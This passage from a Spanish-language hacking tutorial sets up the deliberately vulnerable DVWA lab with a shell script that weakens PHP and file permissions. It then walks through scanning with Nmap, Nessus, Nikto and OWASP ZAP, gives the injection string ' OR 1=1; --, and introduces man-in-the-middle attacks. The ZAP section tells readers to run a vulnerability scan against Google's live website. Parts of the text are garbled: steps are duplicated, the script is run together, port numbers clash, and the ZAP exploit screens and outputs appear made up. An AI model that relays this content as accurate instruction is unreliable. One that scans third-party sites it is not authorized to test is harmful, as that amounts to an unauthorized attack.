ejecutarse en nuestro servidor web local.
Haz clic en el enlace "Configuración" en DVWA.
Haz clic en el botón "Crear / Configurar Base de Datos" para
crear la base de datos inicial que se utilizará en nuestros
ejercicios, como se muestra en la Figura 1.4.
Haz clic en el enlace "Seguridad de DVWA" en DVWA y elige
"bajo" en la lista desplegable, como se muestra en la Figura
1.5.
Haz clic en el enlace de "Seguridad de DVWA" en DVWA y
selecciona la opción "baja" en la lista desplegable, como se
muestra en la Figura 1.5.
El fragmento de código es un script de instalación para la
aplicación web vulnerable "Damn Vulnerable Web App" (DVWA). El
script automatiza la descarga e instalación de DVWA en un
entorno de prueba.
120
Haz clic en el botón de envío para crear estas configuraciones
iniciales de dificultad que se utilizarán en nuestros
ejercicios. ¡Si los ejercicios te resultan demasiado fáciles,
siéntete libre de seleccionar un nivel de dificultad más
avanzado!
Ahora estás listo para utilizar las herramientas de hacking en
BackTrack para atacar la aplicación web DVWA. Puedes volver a
cualquiera de estos pasos para confirmar que tu entorno está
configurado correctamente. No es necesario apagar la máquina
virtual (VM) cada vez que quieras tomar un descanso. En su
lugar, puedes suspender la VM, de modo que el estado de tu
trabajo se conserve. Si eliges apagar la VM para conservar los
recursos del sistema (o por cualquier otro motivo), puedes
seguir fácilmente los pasos anteriores para preparar tu VM.
Es importante tener en cuenta que ahora estás ejecutando una
aplicación web intencionalmente vulnerable y explotable en tu
máquina BackTrack. Por lo tanto, probablemente no sea una
buena idea utilizar esta máquina mientras estés conectado a
Internet, donde otros podrían atacarte.
DVWA Instalador
#/bin/bashecho -e
"\n#######################################"echo -e "# Damn
Vulnerable Web App Installer Script #"echo -e
"#######################################"echo " Coded By:
Travis Phillips"echo " Website:
[Link] -e -n "\n[*] Changing
directory to /var/www..."cd /var/www > /dev/nullecho -e "Done!
\n"echo -n "[*] Removing default [Link]..."rm [Link] >
/dev/nullecho -e "Done!\n"echo -n "[*] Changing to Temp
Directory..."cd /tmpecho -e "Done!\n"echo "[*] Downloading
DVWA..."wget[Link]
o -e "Done!\n"echo -n "[*] Unzipping DVWA..."unzip
[Link] > /dev/nullecho -e "Done!\n"echo -n "[*]
Deleting the zip file..."rm [Link] > /dev/null
echo -e "Done!\n"echo -n "[*] Copying dvwa to root of Web
Directory..."cp -R dvwa/* /var/www > /dev/nullecho -e "Done!
\n"echo -n "[*] Clearing Temp Directory..."rm -R dvwa >
/dev/nullecho -e "Done!\n"echo -n "[*] Enabling Remote include
121
in [Link]..."cp /etc/php5/apache2/[Link]
/etc/php5/apache2/php.ini1sed -e 's/allow_url_include =
Off/allow_url_include = On/'/etc/php5/apache2/php.ini1 >
/etc/php5/apache2/[Link] /etc/php5/apache2/php.ini1 echo -e
"Done!\n"echo -n "[*] Enabling write permissions to
/var/www/hackable/upload..."chmod 777
/var/www/hackable/uploads/echo -e "Done!\n"echo -n "[*]
Starting Web Service..."service apache2 start &>
/dev/nullecho -e "Done!\n"echo -n "[*] Starting
MySQL..."service mysql start &> /dev/nullecho -e "Done!
\n"echo -n "[*] Updating Config File..."cp
/var/www/config/[Link]
/var/www/config/[Link].php1sed -e 's/'\'\''/'\''toor'\''/'
/var/www/config/[Link].php1 >/var/www/config/[Link]
prm /var/www/config/[Link].php1echo -e "Done!\n"echo -n
"[*] Updating Database..."wget --post-data "create_db=Create /
Reset Database"[Link] /dev/nullmysql -u
root --password='toor' -e 'update [Link] set avatar
="/hackable/users/[Link]" where user =
"gordonb";'mysql -u root --password='toor' -e 'update
[Link] set avatar ="/hackable/users/[Link]" where
user = "smithy";'mysql -u root --password='toor' -e
'update [Link] set avatar ="/hackable/users/[Link]"
where user = "admin";'mysql -u root --password='toor' -e
'update [Link] set avatar ="/hackable/users/[Link]"
where user = "pablo";'mysql -u root --password='toor' -e
'update [Link] set avatar ="/hackable/users/[Link]"
where user = "1337";'echo -e "Done!\n"echo -e -n "[*] Starting
Firefox to DVWA\nUserName: admin\nPassword: password"firefox
[Link] &> /dev/null &echo -e "\nDone!
\n"echo -e "[\033[1;32m*\033[1;37m] DVWA Install Finished!\n"
Nmap
El escáner de puertos más ampliamente utilizado es Nmap, el
cual está disponible en BackTrack y cuenta con documentación
sustancial en [Link] Fue lanzado por Gordon "Fyodor"
Lyon en 1997 y Nmap sigue ganando impulso como el mejor
escáner de puertos del mundo, con funcionalidades adicionales
para la detección de vulnerabilidades y explotación. La
versión más reciente de Nmap al momento de escribir esto es la
versión 6, que incluye una gran cantidad de funcionalidades
dedicadas a la exploración de servidores web.
122
Actualización de Nmap
Antes de comenzar a utilizar Nmap, asegúrate de estar
ejecutando la versión más reciente. Puedes verificar esto
ejecutando el comando "nmap -V" en una terminal. Si no estás
utilizando la versión 6 o superior, necesitarás actualizar
Nmap. Para llevar a cabo el proceso de actualización, abre una
terminal en BackTrack y ejecuta el comando "apt-get upgrade
nmap". Después de completar la instalación, puedes nuevamente
usar el comando "nmap -V" para asegurarte de que estás
ejecutando la versión 6 o superior.
Pasos para ejecutar Nmap
Para ejecutar Nmap, primero debes instalarlo en tu sistema.
Puedes descargarlo desde el sitio web oficial de Nmap.
Una vez que hayas instalado Nmap, puedes ejecutarlo desde la
línea de comandos. Para hacerlo, abre una terminal y escribe
el siguiente comando:
nmap [opciones] [destino]
Opciones de Nmap
Nmap tiene una gran cantidad de opciones que puedes utilizar
para personalizar tus escaneos. Algunas de las opciones más
útiles son:
-sV: Realiza un escaneo de versión para identificar los
servicios y versiones que se están ejecutando en el destino.
123
-O: Realiza un escaneo del sistema operativo para identificar
el sistema operativo que se está ejecutando en el destino.
-p-: Escanea todos los puertos en el destino.
-T4: Realiza el escaneo de forma rápida.
-A: Realiza un escaneo completo, que incluye un escaneo de
versión, un escaneo del sistema operativo y un escaneo de
banners.
Ejemplos de uso de Nmap
Para escanear un servidor web:
nmap -sV -O -p- [Link]
Este comando escaneará el servidor web en la dirección IP
[Link]. El escaneo identificará los servicios y
versiones que se están ejecutando en el servidor web, así como
el sistema operativo que se está ejecutando.
Para escanear una red:
nmap -sP [Link]/24
Este comando escaneará toda la red [Link]/24. El escaneo
identificará todos los dispositivos que están conectados a la
red.
124
Para escanear un puerto específico:
nmap -p 80 [Link]
Este comando escaneará el puerto 80 en el servidor web en la
dirección IP [Link].
cómo usar Nmap para escanear un servidor web local (que se
ejecuta en [Link]). El comando específico utilizado es:
Nmap es una herramienta de escaneo de redes que se utiliza
para encontrar e identificar dispositivos en una red, así como
los servicios y versiones que se ejecutan en esos
dispositivos.
En el texto original, se describe cómo utilizar Nmap para
escanear un servidor web local. El comando utilizado es el
siguiente:
nmap -sV -O -p- [Link]
Este comando realiza un escaneo de versión, un escaneo del
sistema operativo y un escaneo de todos los puertos.
Análisis del comando
-sV: Realiza un escaneo de versión para identificar los
servicios y versiones que se están ejecutando en el destino.
-O: Realiza un escaneo del sistema operativo para identificar
125
el sistema operativo que se está ejecutando en el destino.
-p-: Escanea todos los puertos en el destino.
[Link]: Es la dirección IP del objetivo.
Resultados del escaneo
Los resultados del escaneo se muestran a continuación:
Informe de escaneo de Nmap para localhost ([Link])
El host está activo (0.000096s de latencia).
No se muestra: 65532 puertos cerrados
PUERTO ESTADO SERVICIO VERSIÓN
80 / tcp abierto http Apache httpd 2.2.14 ((Ubuntu))
3306 / tcp abierto mysql MySQL 5.1.41-3ubuntu12.10
7337 / tcp abierto postgresql PostgreSQL DB 8.4.0
8080 / tcp abierto http-proxy Burp Suite Pro http proxy
Tipo de dispositivo: propósito general
126
En ejecución: Linux 2.6.X | 3.X
CPE del sistema operativo: cpe:/o:linux:kernel:2.6
cpe:/o:linux:kernel:3
Detalles del sistema operativo: Linux 2.6.32 - 3.2
Distancia de red: 0 saltos
Se realizó la detección del sistema operativo y el servicio.
Informa cualquier resultado incorrecto en
[Link]
Nmap terminado: 1 dirección IP (1 host activo) escaneada en
9.03 segundos
Los resultados muestran que el servidor web está ejecutando
los siguientes servicios:
Apache httpd 2.2.14 en el puerto 80
MySQL 5.1.41 en el puerto 3306
PostgreSQL DB 8.4 en el puerto 7175
Burp Suite Pro http proxy en el puerto 8080
El Motor de Secuencias de Comandos de Nmap (NSE) es una
característica clave que ha ampliado significativamente la
funcionalidad de Nmap. NSE permite la ejecución de
exploraciones especializadas mediante la inclusión de
secuencias de comandos. Estas secuencias de comandos están
diseñadas para tareas específicas y pueden utilizarse para
escanear servidores web con un enfoque en la detección de
vulnerabilidades. Algunas consideraciones clave sobre NSE son
127
las siguientes:
Amplia Gama de Secuencias de Comandos: NSE ofrece una amplia
colección de secuencias de comandos específicas para la web.
Actualmente, existen casi 400 secuencias de comandos Nmap
disponibles. Puedes encontrar información detallada sobre
todas estas secuencias de comandos en la documentación oficial
de Nmap en [Link]
Invocación de Secuencias de Comandos: Para utilizar estas
secuencias de comandos, simplemente debes invocar la secuencia
de comandos deseada y proporcionar los argumentos necesarios.
Esto se hace como parte de la sintaxis de exploración de Nmap.
Por ejemplo, puedes utilizar la secuencia de comandos http-
enum para enumerar directorios utilizados por aplicaciones web
populares y servidores.
nmap -sV --script=http-enum [Link]
Ejemplos de Uso: Algunos ejemplos de secuencias de comandos
útiles incluyen http-frontpage-login, que verifica la
vulnerabilidad de inicios de sesión anónimos de Microsoft
FrontPage en el puerto 80. Aunque esta función se asocia
comúnmente con entornos Windows, algunas versiones antiguas de
FrontPage se ejecutaban en sistemas Linux. También existe la
secuencia http-passwd, que comprueba si el servidor web es
vulnerable al recorrido de directorios en sistemas Linux o
Windows.
nmap [Link] -p 80 --script=http-frontpage-login
nmap --script http-passwd --script-args [Link]=/
[Link]
Resultados y Vulnerabilidades: Estas secuencias de comandos de
NSE generan resultados que revelan posibles vulnerabilidades
en el servidor web. Esto puede incluir información sobre
128
inicios de sesión anónimos, recorrido de directorios y otros
problemas de seguridad.
Integración con Exploraciones Posteriores: Los hallazgos de
Nmap, incluidos los resultados de las secuencias de comandos
NSE, se utilizan como base para exploraciones posteriores con
herramientas como Nessus y Nikto. Estas exploraciones
posteriores se centran en identificar y abordar
vulnerabilidades específicas.
Escaneo de Vulnerabilidades:
El escaneo de vulnerabilidades es el proceso de detectar
debilidades en los servicios en ejecución. Una vez que conoces
los detalles del servidor web objetivo, como la dirección IP,
los puertos abiertos, los servicios en ejecución y las
versiones de estos servicios, puedes comprobar estos servicios
en busca de vulnerabilidades. Este es el último paso que se
debe realizar antes de explotar el servidor web.
El escaneo de vulnerabilidades se realiza con mayor frecuencia
utilizando herramientas automatizadas cargadas con una
colección de firmas de exploits y fuzzing, o complementos.
Estos complementos sondean los servicios del ordenador de
destino para ver cómo reaccionarán a un posible ataque. Si un
servicio reacciona de una determinada manera, el escáner de
vulnerabilidades se activa y sabe no solo que el servicio es
vulnerable, sino también el exploit exacto que lo hace
vulnerable.
Esto es muy similar a cómo funciona el antivirus en tu
ordenador personal. Cuando un programa intenta ejecutarse en
tu ordenador, el antivirus comprueba su colección de firmas
maliciosas conocidas y determina si el programa es un virus o
no.
Los escáneres de vulnerabilidades y los antivirus son tan
buenos como las firmas que utilizan para realizar la
129
comprobación. Si los complementos de tu escáner de
vulnerabilidades están desactualizados, los resultados no
serán 100% exactos. Si los complementos marcan algo como un
falso positivo, los resultados no serán 100% legítimos. Si los
complementos pasan por alto una vulnerabilidad real, los
resultados no serán 100% legítimos. ¡Estoy seguro de que ya me
entiendes!
Es fundamental que comprendas el lugar del escaneo de
vulnerabilidades en el panorama total del hacking. Los hackers
muy avanzados no confían en un escáner de vulnerabilidades
para encontrar vulnerabilidades explotables; en su lugar,
realizan un análisis manual para encontrar vulnerabilidades en
los paquetes de software y luego escriben su propio código de
exploit. Esto está fuera del alcance de este libro, pero para
escalar la montaña del hacking de élite, tendrás que
familiarizarte con el fuzzing, la depuración, la ingeniería
inversa, el código shell personalizado y la explotación
manual. Estos temas se discutirán con más detalle en el
capítulo final de este libro para darte una guía para seguir
adelante.
Nessus
Nessus es un escáner de vulnerabilidades de código abierto y
comercial desarrollado por Tenable Network Security. Se
utiliza para identificar vulnerabilidades en sistemas
informáticos y aplicaciones. Nessus utiliza una base de datos
de vulnerabilidades conocidas para escanear los sistemas y
aplicaciones objetivo. Nessus puede escanear sistemas en red,
incluidos servidores, estaciones de trabajo y dispositivos de
red.
Nessus tiene una serie de características que lo convierten en
una herramienta eficaz para la detección de vulnerabilidades.
Estas características incluyen:
130
Gran base de datos de vulnerabilidades: Nessus tiene una base
de datos de vulnerabilidades que se actualiza constantemente.
Esto permite a Nessus detectar las vulnerabilidades más
recientes.
Escaneo de múltiples sistemas y aplicaciones: Nessus puede
escanear sistemas en red, incluidos servidores, estaciones de
trabajo y dispositivos de red. Esto permite a Nessus detectar
vulnerabilidades en una amplia gama de sistemas y
aplicaciones.
Análisis de vulnerabilidades: Nessus proporciona información
sobre las vulnerabilidades que se encuentran, incluida la
gravedad de la vulnerabilidad y las posibles formas de
explotación. Esto permite a los administradores de sistemas
priorizar las correcciones de seguridad.
Nessus es una herramienta potente que puede ayudar a los
administradores de sistemas y los profesionales de la
seguridad a proteger sus sistemas contra ataques. Sin embargo,
es importante tener en cuenta que Nessus no es una garantía de
seguridad. Los administradores de sistemas deben seguir las
mejores prácticas de seguridad para proteger sus sistemas,
incluso si utilizan Nessus.
Como Instalar Nessus
Paso 1: Descargar el instalador de Nessus
Vaya al sitio web de Tenable Network Security y haga clic en
el botón "Descargar" para Nessus.
Paso 2: Ejecutar el instalador y seguir las
instrucciones en pantalla
131
Una vez que haya descargado el instalador, ejecútelo y siga
las instrucciones en pantalla. El instalador le guiará a
través del proceso de instalación.
Paso 3: Crear una cuenta de administrador de
Nessus
Una vez que haya instalado Nessus, deberá crear una cuenta de
administrador. La cuenta de administrador se utiliza para
administrar Nessus.
Para crear una cuenta de administrador, siga
estos pasos:
En el panel de control de Nessus, haga clic en
"Administrador".
En la página "Administrador", haga clic en "Crear cuenta".
Introduzca un nombre de usuario y una contraseña para la
cuenta de administrador.
Haga clic en "Crear".
Paso 4: Importar la base de datos de
vulnerabilidades de Nessus
La base de datos de vulnerabilidades de Nessus contiene
información sobre las vulnerabilidades conocidas. Para que
Nessus pueda detectar vulnerabilidades, debe importar la base
de datos de vulnerabilidades.
132
Para importar la base de datos de
vulnerabilidades, siga estos pasos:
En el panel de control de Nessus, haga clic en
"Vulnerabilidades".
En la página "Vulnerabilidades", haga clic en "Importar".
Seleccione el archivo de la base de datos de vulnerabilidades
que desea importar.
Haga clic en "Importar".
Paso 5: Iniciar Nessus
Una vez que haya completado los pasos anteriores, puede
iniciar Nessus. Para iniciar Nessus, haga clic en el icono de
Nessus en el escritorio o en la barra de tareas.
Opcional: Instalar Nessus como servicio
Nessus se puede instalar como servicio para que se ejecute
automáticamente al iniciar el sistema. Para instalar Nessus
como servicio, siga estos pasos:
En el panel de control de Nessus, haga clic en
"Administrador".
En la página "Administrador", haga clic en "Servicios".
En la página "Servicios", haga clic en "Iniciar servicio".
133
Haga clic en "Aceptar".
Notas adicionales
Para obtener más información sobre la instalación de Nessus,
consulte la documentación de Nessus.
Nessus está disponible en dos ediciones: una edición gratuita
y una edición comercial. La edición gratuita tiene algunas
limitaciones, como el número de hosts que se pueden escanear y
el número de vulnerabilidades que se pueden exportar.
Configuración de Nessus
Una vez que hayas instalado Nessus, debes iniciar el servicio
antes de utilizar la herramienta. Solo tendrás que ejecutar el
comando /etc/init.d/nessusd start en un terminal una vez y
luego Nessus se ejecutará como un servicio persistente en tu
sistema. Una vez que el servicio esté en funcionamiento, los
siguientes pasos te mostrarán cómo configurar Nessus.
En un navegador, ve a [Link] para iniciar el
procedimiento de configuración de Nessus.
Cuando se te solicite, crea un usuario administrador de
Nessus. Para este libro, crearemos un usuario llamado "root"
con la contraseña "toor".
Ingresa el código de activación para el HomeFeed desde tu
correo electrónico.
Inicia sesión como usuario "root" después de que se complete
la configuración.
134
Nota:
Debes utilizar "https" en la URL para acceder al servidor de
Nessus, ya que requiere una conexión segura.
El servidor de Nessus se ejecuta en la dirección local
([Link]) y en el puerto 8834; por lo tanto, debes incluir
":8834" como parte de la URL.
La descarga de complementos de Nessus y la configuración
inicial llevarán de 5 a 6 minutos según la configuración de tu
hardware. ¡No te preocupes, Nessus se cargará mucho más rápido
en usos futuros!
Ejecutando Nessus
Una vez que hayas iniciado sesión en Nessus, la primera tarea
es especificar qué complementos se utilizarán en el escaneo.
Realizaremos un escaneo seguro en nuestro localhost, que
incluirá todos los complementos seleccionados pero no
intentará una explotación real. Esta es una excelente
aproximación para un escaneo de prueba de concepto y garantiza
que haya menos interrupciones en la red debido a la
explotación activa. Sigue estos pasos para configurar la
política de escaneo y realizar el escaneo real en Nessus.
Haz clic en el elemento de menú "Scans" para abrir el menú de
escaneos.
Haz clic en "New Scan" para definir un nuevo escaneo, ingresa
"localhost check" como nombre del escaneo, selecciona
"Internal Network Scan" como política de escaneo e ingresa
"[Link]" como objetivo del escaneo, como se muestra en la
135
Figura 2.2.
3. Haz clic en el botón "Create Scan" en la parte inferior
izquierda de la pantalla para iniciar el escaneo en el
objetivo.
Una vez que se inicia el escaneo, la ventana de escaneos
informará el estado en curso
El escaneo de [Link] estará repleto de vulnerabilidades
graves debido a que BackTrack es nuestro sistema operativo.
Advertencia
Este es un buen momento para recordarte que no debes utilizar
BackTrack como tu sistema operativo diario. Es genial en lo
que hace (¡hackeo!), pero no es una buena elección para
realizar operaciones bancarias en línea, revisar tu correo
electrónico o conectarte a redes no seguras. Siempre te
aconsejaría tener BackTrack disponible como una máquina
virtual, pero nunca depender de él como tu sistema operativo
base.
Revisando los Resultados de Nessus
Una vez que el estado del escaneo esté completo, puedes ver el
informe haciendo clic en el elemento de menú "Results", luego
haciendo clic en el informe "localhost check" para abrirlo, y
finalmente haciendo clic en los elementos críticos marcados en
morado
La vista resumida del informe se ordenará por gravedad de la
vulnerabilidad, siendo "Crítica" la más severa. Los otros
valores de gravedad son "Alta", "Media", "Baja" e
"Informativa". Puedes profundizar en los detalles de
136
cualquiera de las vulnerabilidades haciendo doble clic en una
de las entradas del informe
Nikto
Nikto es un escáner de vulnerabilidades de código abierto,
escrito en Perl y lanzado originalmente a finales de 2001, que
proporciona análisis de vulnerabilidades adicionales
específicas para servidores web. Realiza comprobaciones en
busca de 6,400 archivos y secuencias de comandos
potencialmente peligrosos, 1,200 versiones obsoletas de
servidores y casi 300 problemas específicos de versiones en
servidores web.
Incluso tiene funcionalidad para que Nikto se inicie
automáticamente desde Nessus cuando se encuentra un servidor
web. Ejecutaremos Nikto directamente desde la línea de
comandos en una terminal de BackTrack, pero puedes buscar en
el blog de Nessus cómo estos dos programas pueden funcionar
juntos de manera automatizada.
Nikto está integrado en BackTrack y se ejecuta directamente en
la terminal. Primero, debes navegar al directorio de Nikto
ejecutando el comando "cd /pentest/web/nikto" en una ventana
de terminal.
Alternativamente, puedes abrir una ventana de terminal
directamente en el directorio de Nikto desde el menú de
BackTrack haciendo clic en Aplicaciones → BackTrack →
Evaluación de Vulnerabilidades → Evaluación de Aplicaciones
Web → Escáneres de Vulnerabilidad Web → Nikto.
Siempre debes actualizar Nikto ejecutando el comando "perl [Link] -
update" antes de usar el escáner para asegurarte de tener las firmas
de complementos más recientes. Puedes ejecutar el escáner en nuestro
localhost con el siguiente comando, donde el interruptor -h se usa
para definir nuestra dirección de destino ([Link]) y el interruptor -
137
p se utiliza para especificar los puertos que queremos explorar
(1-500):
perl [Link] -h [Link] -p 1-500
Habría sido igual de sencillo especificar solo el puerto 80 para
nuestra exploración, ya que sabemos que este es el único puerto que
DVWA utiliza para comunicarse a través de HTTP. De hecho, si no
especificas puertos para que Nikto los escanee, escaneará solo el
puerto 80 de forma predeterminada. Como era de esperar, Nikto
proporciona resultados resumidos de su exploración en nuestro
servidor web DVWA.
Lo más importante que se puede extraer de la salida de Nikto son las
entradas de la Base de Datos de Vulnerabilidades de Código Abierto
(OSVDB) que proporcionan información específica sobre las
vulnerabilidades detectadas. Estos identificadores son muy
similares a los identificadores CVE que utilizan Nessus y Metasploit.
OSVDB es un proyecto independiente y de código abierto con el
objetivo de proporcionar información técnica imparcial sobre más de
90,000 vulnerabilidades relacionadas con más de 70,000 productos. Te
animo a visitar [Link] para obtener más información y para
recuperar detalles técnicos de tus hallazgos con Nikto.
La explotación es el momento en el que toda la recopilación de
información, el escaneo de puertos y el escaneo de
vulnerabilidades dan sus frutos, y se obtiene acceso no
autorizado o se ejecuta código de forma remota en la máquina
objetivo. Uno de los objetivos de la explotación de redes es
obtener derechos de administrador en la máquina objetivo
(servidor web en nuestro caso) y ejecutar código. Una vez que
eso ocurre, el hacker tiene control total de esa máquina y
está libre para realizar cualquier acción, que generalmente
incluye agregar usuarios, agregar administradores, instalar
herramientas adicionales localmente en esa máquina para
penetrar más en la red (también conocido como "pivoting"), e
instalar código de puerta trasera que permite conexiones
persistentes a esta máquina explotada. Una puerta trasera
138
persistente es como crear una llave para una casa para entrar,
de modo que puedes dejar de entrar por la ventana del sótano.
Es mucho más fácil usar una llave y, en realidad, es menos
probable que te atrapen.
Antes de adentrarnos en los pasos reales de explotación, aquí
tienes un par de definiciones para asegurarnos de que todos
trabajamos desde la misma terminología base.
Vulnerabilidad: Una debilidad potencial en el sistema
objetivo. Puede ser una actualización que falta, el uso de una
función débilmente conocida (como strcpy en el lenguaje C),
una implementación deficiente o un uso incorrecto de un
lenguaje compilado (como SQL) o cualquier otro problema
potencial que un hacker puede aprovechar.
Exploit: Una colección de código que proporciona una carga
útil a un sistema objetivo.
Carga útil (Payload): El objetivo final de un exploit que
resulta en la ejecución de código malicioso en el sistema
objetivo. Algunas cargas útiles populares incluyen shell de
enlace (ventana cmd en Windows o una shell en Linux), shell
inverso (cuando la computadora víctima realiza una conexión de
regreso a ti, lo que es mucho menos probable que se detecte),
inyección de VNC para permitir el control de escritorio remoto
y agregar un administrador en el sistema objetivo.
Owasp Zap
OWASP ZAP, o Zed Attack Proxy, es una herramienta de escaneo de
vulnerabilidades web de código abierto. Es una de las herramientas de
seguridad web más populares del mundo, y es utilizada por
desarrolladores, administradores de sistemas y profesionales de la
seguridad.
139
ZAP es una herramienta versátil que puede ser utilizada para detectar
una amplia gama de vulnerabilidades web, incluyendo:
Inyecciones SQL
Cross-site scripting (XSS)
Vulnerabilidades de autenticación
Vulnerabilidades de configuración
Vulnerabilidades de seguridad de datos
ZAP tiene una interfaz gráfica de usuario intuitiva que hace que sea
fácil de usar, incluso para usuarios principiantes. También tiene una
amplia gama de características y opciones que lo hacen adecuado para
una amplia gama de necesidades.
Características clave de OWASP ZAP:
Escaneo pasivo y activo de vulnerabilidades
Detección de vulnerabilidades compleja
Interfaz gráfica de usuario intuitiva
Amplia gama de características y opciones
Soporte para plugins
Utilizacion de Owasp
Para acceder o instalar OWASP ZAP paso a paso en Kali Linux, siga estos
pasos:
1. Abra una terminal
140
Abra una terminal en Kali Linux. Puede hacerlo presionando Ctrl+Alt+T
en su teclado.
2. Instale OWASP ZAP
Para instalar OWASP ZAP, ejecute el siguiente comando:
sudo apt install zaproxy
Esto instalará OWASP ZAP en su sistema.
3. Inicie OWASP ZAP
Para iniciar OWASP ZAP, ejecute el siguiente comando:
zaproxy
Esto abrirá OWASP ZAP en su navegador web predeterminado.
4. Escanee un sitio web para vulnerabilidades
Para escanear un sitio web para vulnerabilidades, siga estos pasos:
En OWASP ZAP, ingrese la URL del sitio web que desea escanear en el
campo "URL a escanear".
Haga clic en el botón "Iniciar escaneo".
141
ZAP comenzará a escanear el sitio web para vulnerabilidades. Una vez
que se complete el escaneo, OWASP ZAP mostrará una lista de
vulnerabilidades encontradas.
Ejemplo
Para escanear el sitio web de Google, siga estos pasos:
En OWASP ZAP, ingrese la siguiente URL en el campo "URL a escanear":
[Link]
Haga clic en el botón "Iniciar escaneo".
ZAP comenzará a escanear el sitio web de Google para
vulnerabilidades. Una vez que se complete el escaneo, OWASP ZAP
mostrará una lista de vulnerabilidades encontradas.
Opciones de escaneo
OWASP ZAP ofrece una variedad de opciones de escaneo para ajustar la
profundidad y el alcance del escaneo. Para obtener más información
sobre las opciones de escaneo, consulte la documentación de OWASP ZAP.
Plugins
OWASP ZAP también tiene una amplia gama de plugins que pueden agregar
nuevas funciones y capacidades. Para obtener más información sobre
los plugins de OWASP ZAP, consulte la documentación de OWASP ZAP.
142
Inyeccion SQL con OWASP ZAP
Para abrir OWASP ZAP, abra una terminal y ejecute el siguiente comando:
zaproxy
Esto abrirá OWASP ZAP en su navegador web predeterminado.
En la barra de direcciones de OWASP ZAP, ingrese la URL de su página web.
Haga clic en el botón "Iniciar escaneo" para iniciar un escaneo de la
página web.
OWASP ZAP tardará unos minutos en completar el escaneo.
En la sección "Vulnerabilidades", OWASP ZAP mostrará una lista de
vulnerabilidades encontradas.
Busque una vulnerabilidad SQL en la lista. La vulnerabilidad SQL
aparecerá en la sección "Tipo" como "Inyección SQL".
Haga clic en la vulnerabilidad SQL para abrirla.
En la sección "Exploit", ingrese una cadena de inyección SQL. Una
cadena de inyección SQL es un fragmento de código que se utiliza para
inyectar código SQL en una aplicación web.
Haga clic en el botón "Probar" para probar la cadena de inyección SQL.
143
Si la cadena de inyección SQL es válida, OWASP ZAP mostrará una
respuesta que indica que la inyección fue exitosa.
Ejemplo:
Suponga que tiene una página web con un formulario que permite a los
usuarios buscar productos. El formulario tiene un campo de búsqueda
que acepta texto.
OWASP ZAP ha detectado una vulnerabilidad SQL en el formulario. La
vulnerabilidad SQL se produce porque el código que procesa el
formulario no filtra adecuadamente la entrada del usuario.
Para autoinyectarse una vulnerabilidad SQL en su página web, siga
estos pasos:
En la barra de direcciones de OWASP ZAP, ingrese la URL de su página web.
Haga clic en el botón "Iniciar escaneo".
Espere a que se complete el escaneo.
En la sección "Vulnerabilidades", busque la vulnerabilidad SQL.
Haga clic en la vulnerabilidad SQL para abrirla.
En la sección "Exploit", ingrese la siguiente cadena de inyección SQL:
144
' OR 1=1; --
Haga clic en el botón "Probar".
Si la cadena de inyección SQL es válida, OWASP ZAP mostrará una
respuesta que indica que la inyección fue exitosa.
La respuesta de OWASP ZAP puede ser algo como esto:
Status: OK
Message: SQL Injection test successful
Esto indica que la cadena de inyección SQL fue exitosa y que OWASP ZAP
pudo inyectar código SQL en la aplicación web.
Parte IV:
Man in the Middle
(MITM)
145
Capitulo 9:
Objetivos del MITM
¿Que es MITM?
Un ataque MITM, o Man In The Middle, es un ataque cibernético
en el que un atacante se coloca entre un cliente y un servidor
para interceptar el tráfico entre ellos. El atacante puede
entonces leer, modificar o incluso eliminar el tráfico.
¿Como Funciona un Ataque MITM?
Un ataque MITM funciona interceptando el tráfico entre un
cliente y un servidor. El atacante puede hacerlo de varias
maneras, incluyendo:
146
Ataque de suplantación de identidad: El atacante se hace pasar
por un servidor legítimo para engañar a la víctima.
Ataque de intermediario: El atacante se coloca entre el
cliente y el servidor para interceptar el tráfico.
Ataque de reenvío de paquetes: El atacante reenvía los
paquetes entre el cliente y el servidor, alterando el
contenido.
Ataque de manipulación de DNS: El atacante manipula la
configuración de DNS de la víctima para redirigir el tráfico a
un servidor malicioso.
Ataque de suplantación de identidad
En un ataque de suplantación de identidad, el atacante crea un
servidor falso que se hace pasar por un servidor legítimo. El
atacante luego envía a la víctima un certificado de seguridad
falso que engaña a la víctima para que piense que el servidor
falso es legítimo.
Ataque de intermediario
En un ataque de intermediario, el atacante se coloca entre el
cliente y el servidor para interceptar el tráfico. El atacante
puede hacerlo colocando un dispositivo en la red o utilizando
un software malicioso.
Ataque de reenvío de paquetes
147
En un ataque de reenvío de paquetes, el atacante reenvía los
paquetes entre el cliente y el servidor, alterando el
contenido. El atacante puede hacer esto para robar
información, modificar transacciones o insertar malware.
Ataque de manipulación de DNS
En un ataque de manipulación de DNS, el atacante manipula la
configuración de DNS de la víctima para redirigir el tráfico a
un servidor malicioso. El atacante puede hacer esto enviando a
la víctima un paquete malicioso que modifica la configuración
de DNS.
Cómo funciona un ataque MITM por dentro
Para entender cómo funciona un ataque MITM por dentro, es
importante comprender cómo se transmite el tráfico entre un
cliente y un servidor.
Cuando un cliente quiere conectarse a un servidor, el cliente
envía una solicitud al servidor. La solicitud incluye la
dirección IP del servidor y el puerto que el cliente quiere
usar.
El servidor recibe la solicitud del cliente y responde con un
paquete de respuesta. El paquete de respuesta incluye la
dirección IP del servidor y el puerto que el servidor está
usando.
El cliente luego envía los datos al servidor. El servidor
recibe los datos del cliente y responde con los datos que el
cliente solicitó.
En un ataque MITM, el atacante intercepta el tráfico entre el
cliente y el servidor. El atacante puede hacer esto de varias
148
maneras, como se mencionó anteriormente.
Una vez que el atacante ha interceptado el tráfico, puede
leer, modificar o incluso eliminar el tráfico. El atacante
puede luego reenviar el tráfico al cliente y al servidor.
Ejemplo de un ataque MITM
Imaginemos que una persona está utilizando una conexión Wi-Fi
pública para acceder a su banco en línea. Un atacante podría
colocarse entre la persona y el banco para interceptar el
tráfico.
El atacante podría entonces robar las contraseñas de la
persona o modificar las transacciones bancarias.
Capítulo 10:
Términos del MITM
149
Terminos Claves en ataques Man In The Middle
En este capítulo, veremos algunos términos clave relacionados
con los ataques MITM
Términos clave
HTTPS: HTTPS es un protocolo de seguridad que utiliza el
cifrado para proteger los datos que se transmiten entre un
cliente y un servidor.
Tráfico: El tráfico es el flujo de datos entre dos puntos.
Certificado de seguridad: Un certificado de seguridad es un
archivo digital que identifica a un servidor web y confirma
que el servidor es legítimo. Los certificados de seguridad
utilizan la criptografía para proteger los datos que se
transmiten entre el cliente y el servidor.
Un certificado de seguridad típico contiene la siguiente
información:
La identidad del servidor web
La fecha de caducidad del certificado
La clave pública del servidor web
150
Los certificados de seguridad se emiten por autoridades de
certificación (CA). Las CA son organizaciones de confianza que
verifican la identidad de los servidores web antes de emitir
un certificado de seguridad.
